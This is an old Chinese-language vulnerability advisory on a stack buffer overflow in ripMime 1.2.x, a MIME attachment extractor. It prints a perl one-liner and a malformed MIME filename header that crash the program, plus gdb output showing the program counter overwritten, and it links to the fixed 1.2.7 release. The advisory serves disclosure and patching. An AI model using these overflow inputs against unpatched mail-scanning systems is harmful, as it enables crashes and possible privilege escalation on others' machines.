RipMime Mime头处理超长文件名存在缓冲溢出发布时间:2002-01-28 更新时间:2002-01-28 严重程度:高 威胁程度:权限提升 错误类型:边界检查错误 利用方式:服务器模式 BUGTRAQ ID:3941 受影响系统 plDaniels ripMime 1.2.0详细描述 ripMime 是Inflex EMAIL病毒扫描程序中的小工具。也包含在商业版本XaMime 程序中。 其中ripMime在处理文件名的时候,如果对命令行开关传递超过2079+的文件名 给参数,就可以导致堆栈破坏,缓冲溢出。造成权利提升。 测试代码 如下可造成64解码错误: ./ripmime -i mail -d `perl -e 'print "A" x 255'` Error: Cannot open output file AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA_ for BASE64 decoding.Segmentation fault 我们可以使用带不正确的BASE64文件名头来触发缓冲溢出如: Content-Type: application/octet-stream; name="blah" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=AAAAAAAAAAAAAAAAAAA....<2000 total chars> 使用GBD我们可以看到如下寄存器被破坏: (gdb) r -i mail -d `perl -e 'print "A" x 79'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/ripmime-1.2.6/./ripmime -i mail -d `perl -e 'print "A" x 79'` Error: Cannot open output file AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA_ for BASE64 decoding. Program received signal SIGILL, Illegal instruction. 0x4141415c in ?? () ... r0 0x4141415f 1094795615 r19 0x41414141 1094795585 r20 0x41414141 1094795585 r21 0x41414141 1094795585 r22 0x41414141 1094795585 r23 0x41414141 1094795585 r24 0x41414141 1094795585 r25 0x41414141 1094795585 r26 0x41414141 1094795585 r27 0x41414141 1094795585 r28 0x41414141 1094795585 r29 0x41414141 1094795585 r30 0x41414141 1094795585 r31 0x41414141 1094795585 pc 0x4141415c 1094795612 lr 0x4141415f 1094795615 解决方案 请升级到版本1.2.7以上: plDaniels ripMime 1.2.0: plDaniels Upgrade ripmime-1.2.7.tar.gz http://pldaniels.org/ripmime/ripmime-1.2.7.tar.gz plDaniels ripMime 1.2.1: plDaniels Upgrade ripmime-1.2.7.tar.gz http://pldaniels.org/ripmime/ripmime-1.2.7.tar.gz plDaniels ripMime 1.2.2: plDaniels Upgrade ripmime-1.2.7.tar.gz http://pldaniels.org/ripmime/ripmime-1.2.7.tar.gz plDaniels ripMime 1.2.3: plDaniels Upgrade ripmime-1.2.7.tar.gz http://pldaniels.org/ripmime/ripmime-1.2.7.tar.gz plDaniels ripMime 1.2.4: plDaniels Upgrade ripmime-1.2.7.tar.gz http://pldaniels.org/ripmime/ripmime-1.2.7.tar.gz plDaniels ripMime 1.2.5: plDaniels Upgrade ripmime-1.2.7.tar.gz http://pldaniels.org/ripmime/ripmime-1.2.7.tar.gz plDaniels ripMime 1.2.6: plDaniels Upgrade ripmime-1.2.7.tar.gz http://pldaniels.org/ripmime/ripmime-1.2.7.tar.gz 相关信息 KF <dotslash@snosoft.com>. 参考:http://www.securityfocus.com/archive/1/251989 相关主页:http://pldaniels.org/ripmime/#workswith |